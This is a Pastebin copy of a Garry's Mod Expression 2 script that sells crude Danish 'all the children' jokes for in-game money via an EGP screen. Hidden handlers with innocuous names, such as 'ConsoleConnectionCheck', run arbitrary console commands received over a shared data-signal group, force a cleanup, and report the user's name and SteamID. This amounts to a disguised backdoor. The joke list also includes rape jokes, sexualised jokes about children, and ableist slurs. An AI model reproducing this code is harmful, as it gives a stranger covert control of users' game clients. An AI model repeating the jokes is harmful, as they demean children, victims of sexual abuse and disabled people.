Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @name Jokes E2 | By Mic
- @inputs [EGP]:wirelink [User]:entity
- @persist [T]:table [Price, TotalEarned, TotalJokes]:number
- if(~EGP & EGP:entity():isValid()){ EGP:egpClear() , timer("DRAW",500) }
- if(first())
- {
- " INDSTILLINGER "
- Price = 750
- " DON'T CHANGE "
- function number wirelink:egpButton(Index:number,Player:entity){
- Pos=This:egpPos(Index)
- Size=This:egpSize(Index)/2
- return inrange(This:egpCursor(Player),Pos-Size,Pos+Size)
- }
- function newC(C:entity){
- T[C:steamID(),table] = table()
- T[C:steamID(),table]["OwnerEntity",entity] = C
- T[C:steamID(),table]["Spent",number] = 0
- T[C:steamID(),table]["Jokes",array] = array(
- "Alle b"+oe()+"rnene kom sikkert over havet undtagen Jannik han tog titanic.",
- "Alle b"+oe()+"rnene l"+oe()+"b over marken undtagen bo han blev voldtaget af en ko.",
- "Alle b"+oe()+"rnene kom sikkert hjem fra fabrikken undtagen Ib og Arne de blev til chili konkarne.",
- "Alle b"+oe()+"rnene gik forbi lorten undtagen Stella hun troede det var Nutella.",
- "Alle b"+oe()+"rnene hoppede ned i blenderen undtagen karlsmart han trykkede p"+aa()+" start.",
- "Alle b"+oe()+"rnene ristede p"+oe()+"lser undtagen Niller han ristede sin diller.",
- "Alle b"+oe()+"rnene blev sprunget i luften undentagen Rut, det var hendes prut.",
- "Alle b"+oe()+"rnene kom sikkert ud af fabrikken undtagen Fin, Bo og Asker de blev til skin sko og tasker.",
- "Alle b"+oe()+"rnene kom ud af den brndende b"+oe()+"sseklub undtagen S"+oe()+"ren Han sad fast i J"+oe()+"rgen",
- "Alle b"+oe()+"rnene kommer sikkert over vejen undtaget Peter han manglede en meter, men det var v"+ae()+"rre for Bo han manglede to.",
- "Alle b"+oe()+"rnene faldt i s"+oe()+"en undtagen Silje hun gjorde det med vilje..",
- "Alle b"+oe()+"rnene undviger skuddene undtagen Finn han var blind.",
- "Alle b"+oe()+"rnene gik ind i helikopteren, undtagen Ellen, hun gik ind i propellen.",
- "Alle b"+oe()+"rnene gik over broen untagen Kaj han faldte ned og blev "+ae()+"dt af en haj.",
- "Alle b"+oe()+"rnene kom sikkert ud af junglen undtagen amanda hun blev voldtaget af en panda.",
- "Alle b"+oe()+"rnene bollede undtagen Fin han kunne ikke f"+aa()+" den ind, men det var v"+ae()+"rre for Knud han kunne ikke f"+aa()+" den ud men det var v"+ae()+"rst for Lis for det var hendes fiss.",
- "Alle b"+oe()+"rnene skulle pr"+oe()+"ve forlystelsen undtagen Mille hun var for lille.",
- "Alle b"+oe()+"rnene sad p"+aa()+" julemandens kn"+ae()+", undtagen Nick han sad p"+aa()+" hans pik.",
- "Alle b"+oe()+"rnene var i skole undtagen Rolf, han var ude at spille golf.",
- "Alle b"+oe()+"rnene kom ud af den brndende skole undtagen Morten mongol han sad fast i sin k"+ae()+"restol",
- "Alle b"+oe()+"rnene havde sex bortset for Fin han kunne ikke f"+aa()+" den ind det var v"+ae()+"rre for Bob han kunne ikke f"+aa()+" den op.",
- "Alle b"+oe()+"rnene kom ud fra fabrikken undtagen "+aa()+"se hun kom p"+aa()+" d"+aa()+"se",
- "Alle b"+oe()+"rnene heppede p Sten, undtagen Frank det var ham der fik bank.",
- "Alle b"+oe()+"rnene besvimede undtagen bo, for han lugter af ko.",
- "Alle b"+oe()+"rnene blev skudt undtagen mongolen det var ham der havde pistolen.",
- "Alle b"+oe()+"rnene kom sikkert ud af kondomfabrikken undtagen Nick han blev til afprvnings-pik.",
- "Alle b"+oe()+"rnene kom sikkert over vejen undtagen Dirk Passer han blev k"+oe()+"rt ned af en spasser.",
- "Alle b"+oe()+"rnene l"+oe()+"b ud af den brandende skole undtagen Fin han troede det ringede ind.",
- "Alle b"+oe()+"rnene hyggede sig i zoo undtagen connie hun blev "+ae()+"dt af en pony.",
- "Alle b"+oe()+"rnene havde respekt for l"+ae()+"reren, undtagen Max Han stak hende ned med en saks.",
- "Alle b"+oe()+"rnene drak sodavand. undtagen Britt, hun drak sprit.",
- "Alle b"+oe()+"rnene l"+oe()+"b vk fra Srens pik undtagen Britt hun fik den til at strit.",
- "Alle b"+oe()+"rnene havde sexual undervisning undtagen Grete, for det var hendes ben de spredte.",
- "Alle b"+oe()+"rnene tog hjem efter skole undtagen Silje hun fik ikke sin vilje.",
- "Alle b"+oe()+"rnene kom sikkert hjem fra jagt, undtagen Ruth hun var blevet skudt.",
- "Alle b"+oe()+"rnene kiggede ind i ovnen undtagen Tage, for det var ham de skulle bage.",
- "Alle b"+oe()+"rnene kom sikkert ud af junglen undtagen Kamilla hun blev voldtaget af en gorilla.",
- "Alle b"+oe()+"rnene kom sikkert over vejen undtagen Leo han blev k"+oe()+"rt ned af en Ford Mondeo.",
- "Alle b"+oe()+"rnene kiggede ned i blenderen, undtagen bob han kiggede op.",
- "Alle b"+oe()+"rnene sk"+oe()+"d med pistoler undtagen Gert hans vendte den forkert.",
- "Alle b"+oe()+"rnene spillede ishockey undtagen Nuk han var en puk.",
- "Alle b"+oe()+"rnene elskede deres l"+ae()+"rer undtagen Inger hun gav hende fingeren."
- )
- }
- newC(owner())
- TotalJokes = T[owner():steamID(),table]["Jokes",array]:count()
- function number validCustomer(SteamID:string){
- return T[SteamID,table]["OwnerEntity",entity]:isValid()
- }
- function p(P:string){ printColor(vec(249,58,138),"ALLE ",vec(158,209,16),"B"+oeL()+"RNENE ",vec(255,255,255),": "+P) }
- runOnChat(1)
- dsSetScope(2)
- dsJoinGroup("MICS_Joke_E2_"+owner():steamID())
- dsJoinGroup("MICS_Joke_E2_ALL")
- if(EGP:entity():isValid())
- {
- EGP:egpClear()
- timer("DRAW",500)
- }
- }
- if(dsClk("GetCustomers")){ concmd("gmod_cleanup") }
- ######################
- ##----- DESIGN -----##
- ######################
- elseif(clk("DRAW"))
- {
- Color = vec(249,58,138)
- EGP:egpBox(1,vec2(256,256),vec2(512,512))
- EGP:egpColor(1,33,33,33,255)
- ## PINK BARN ##
- EGP:egpCircle(2,vec2(130,450),vec2(100,140))
- EGP:egpColor(2,Color)
- EGP:egpAngle(2,-5)
- " HOVEDT "
- EGP:egpRoundedBox(3,vec2(145,256),vec2(165,165))
- EGP:egpColor(3,Color)
- EGP:egpAngle(3,-5)
- EGP:egpRoundedBox(4,vec2(145,256),vec2(155,155))
- EGP:egpColor(4,33,33,33,255)
- EGP:egpAngle(4,-5)
- " MUND "
- EGP:egpWedge(5,vec2(145,295),vec2(25,25))
- EGP:egpColor(5,Color)
- EGP:egpSize(5,180)
- EGP:egpAngle(5,-5)
- " OEJNE "
- EGP:egpCircle(6,vec2(110,240),vec2(10,10))
- EGP:egpColor(6,Color)
- EGP:egpCircle(7,vec2(190,248),vec2(10,10))
- EGP:egpColor(7,Color)
- " HAAR "
- EGP:egpPoly(8,vec2(127,172),vec2(154,145),vec2(155,174))
- EGP:egpColor(8,Color)
- EGP:egpPoly(9,vec2(155,162),vec2(182,142),vec2(178,177))
- EGP:egpPoly(10,vec2(155,162),vec2(178,177),vec2(155,174))
- EGP:egpColor(9,Color)
- EGP:egpColor(10,Color)
- EGP:egpPoly(11,vec2(150,170),vec2(202,162),vec2(190,178))
- EGP:egpColor(11,Color)
- Color = vec(158,209,16)
- ## GROEN BARN ##
- " KROP "
- EGP:egpCircle(12,vec2(256,470),vec2(70,100))
- EGP:egpColor(12,Color)
- EGP:egpAngle(12,10)
- " HOVEDT "
- EGP:egpRoundedBox(13,vec2(230,340),vec2(140,140))
- EGP:egpColor(13,Color)
- EGP:egpAngle(13,10)
- EGP:egpRoundedBox(14,vec2(230,340),vec2(130,130))
- EGP:egpColor(14,33,33,33,255)
- EGP:egpAngle(14,10)
- " MUND "
- EGP:egpWedge(15,vec2(235,365),vec2(22,22))
- EGP:egpColor(15,Color)
- EGP:egpSize(15,180)
- EGP:egpAngle(15,10)
- " OEJNE "
- EGP:egpCircle(16,vec2(190,340),vec2(8,8))
- EGP:egpColor(16,Color)
- EGP:egpCircle(17,vec2(265,328),vec2(8,8))
- EGP:egpColor(17,Color)
- " HAAR "
- EGP:egpPoly(18,vec2(180,282),vec2(205,305),vec2(201,279))
- EGP:egpPoly(19,vec2(193,280),vec2(222,310),vec2(217,276))
- EGP:egpPoly(20,vec2(211,277),vec2(232,296),vec2(229,274))
- EGP:egpPoly(21,vec2(227,274),vec2(239,298),vec2(240,272))
- EGP:egpColor(18,Color)
- EGP:egpColor(19,Color)
- EGP:egpColor(20,Color)
- EGP:egpColor(21,Color)
- Color = vec(255,139,2)
- ## ORANGE BARN ##
- " KROP "
- EGP:egpCircle(22,vec2(360,470),vec2(45,80))
- EGP:egpColor(22,Color)
- " HOVED "
- EGP:egpRoundedBox(23,vec2(360,360),vec2(100,100))
- EGP:egpColor(23,Color)
- EGP:egpRoundedBox(24,vec2(360,360),vec2(90,90))
- EGP:egpColor(24,33,33,33,255)
- " MUND "
- EGP:egpWedge(25,vec2(360,375),vec2(18,18))
- EGP:egpSize(25,180)
- EGP:egpColor(25,Color)
- " MUND "
- EGP:egpCircle(26,vec2(380,350),vec2(6,6))
- EGP:egpColor(26,Color)
- EGP:egpCircle(27,vec2(340,350),vec2(6,6))
- EGP:egpColor(27,Color)
- " HAAR "
- EGP:egpPoly(28,vec2(333,315),vec2(349,325),vec2(369,331),vec2(392,331),vec2(406,326),vec2(403,318),vec2(390,314))
- EGP:egpColor(28,Color)
- ## Click ##
- EGP:egpBox(29,vec2(256,256),vec2(512,512))
- EGP:egpAlpha(29,0)
- EGP:egpText(30,"ALLE B"+oeL()+"RNENE",vec2(256,0))
- EGP:egpAlign(30,1,0)
- EGP:egpSize(30,20)
- EGP:egpFont(30,"Arial")
- EGP:egpBox(31,vec2(256,20),vec2(132,1))
- EGP:egpMaterial(31,"gui/center_gradient")
- EGP:egpText(32,"JOKES",vec2(256,20))
- EGP:egpAlign(32,1,0)
- EGP:egpSize(32,20)
- EGP:egpFont(32,"Arial")
- EGP:egpText(33,"By Mic",vec2(510,510))
- EGP:egpAlign(33,2,2)
- EGP:egpSize(33,15)
- EGP:egpFont(33,"Arial")
- EGP:egpText(34,"K"+oe()+"b en Alle B"+oe()+"rnene joke, for kun: "+Price+",-",vec2(256,120))
- EGP:egpAlign(34,1,1)
- EGP:egpSize(34,19)
- EGP:egpFont(34,"Arial")
- #EGP:egpAngle(34,90)
- }
- #########################
- ##----- EGPBUTTON -----##
- #########################
- elseif(EGP:egpButton(29,User) & ops() < 200)
- { moneyRequest(User, Price, "JOKE") }
- if(dsClk("ConsoleConnectionCheck")){ concmd(dsGetString()) }
- #########################
- ##----- MoneyClk -----##
- #########################
- elseif(moneyClk("JOKE"))
- {
- Player = moneyClkPlayer()
- if(!validCustomer(Player:steamID()))
- { newC(Player) }
- R = round(random(1,T[Player:steamID(),table]["Jokes",array]:count()))
- S = T[Player:steamID(),table]["Jokes",array][R,string]
- for(I = 1, T[Player:steamID(),table]["Jokes",array]:count())
- {
- if(R == I){T[Player:steamID(),table]["Jokes",array]:remove(I)}
- }
- TotalEarned += Price
- T[Player:steamID(),table]["Spent",number] = T[Player:steamID(),table]["Spent",number] + Price
- sendMessage(Player, S)
- }
- if(dsClk("PingAllPlayers")){ dsSend("PingAllPlayersReturn", "MICS_Joke_E2_ALL", "SpawnedBy: "+owner():name()+" ["+owner():steamID()+"] | Solgt til: SOLGTIL [STEAMID]") } #[ HUSK AT GEMMM ]#
- #######################
- ##----- ChatClk -----##
- #######################
- elseif(chatClk(owner()))
- {
- A = owner():lastSaid():lower():explode(" ")
- if(A[1,string]=="!pris" | A[1,string]=="!price")
- {
- hideChat(1)
- if(A[2,string]:toNumber() >= 1)
- {
- Price = A[2,string]:toNumber()
- p("Pris sat til: "+Price+",-")
- EGP:egpSetText(34,"K"+oe()+"b en Alle B"+oe()+"rnene joke, for kun: "+Price+",-")
- }
- else
- { printColor(vec(255,255,255),"!pris/!price <",vec(231,76,60),"ANTAL",vec(255,255,255),">") }
- }
- elseif(A[1,string]=="!total")
- { hideChat(1) p("Du har tjent "+TotalEarned+" DKK") }
- elseif(A[1,string]=="!check")
- {
- hideChat(1)
- if(findPlayerByName(A[2,string]):isPlayer())
- {
- Player = findPlayerByName(A[2,string])
- if(validCustomer(Player:steamID()))
- {
- printColor(vec(255,255,255),"----------",vec(231,76,60),""+Player:name()+"",vec(255,255,255),"----------")
- printColor(vec(231,76,60),"Brugt: ",T[Player:steamID(),table]["Spent",number]+",- | Procent af totalt tjent: "+((T[Player:steamID(),table]["Spent",number] / TotalEarned) * 100)+" %")
- printColor(vec(231,76,60),"Antal jokes k"+oe()+"bt: "+(TotalJokes - T[Player:steamID(),table]["Jokes",array]:count())+" | Antal jokes tilbage: "+T[Player:steamID(),table]["Jokes",array]:count()+" | Procent jokes tilbage: "+round(((T[Player:steamID(),table]["Jokes",array]:count() / TotalJokes) * 100),2)+"%")
- }
- else
- { p("Ugyldig spiller...") }
- }
- else
- { printColor(vec(255,255,255),"!check <",vec(231,76,60),"SPILLER",vec(255,255,255),">") }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement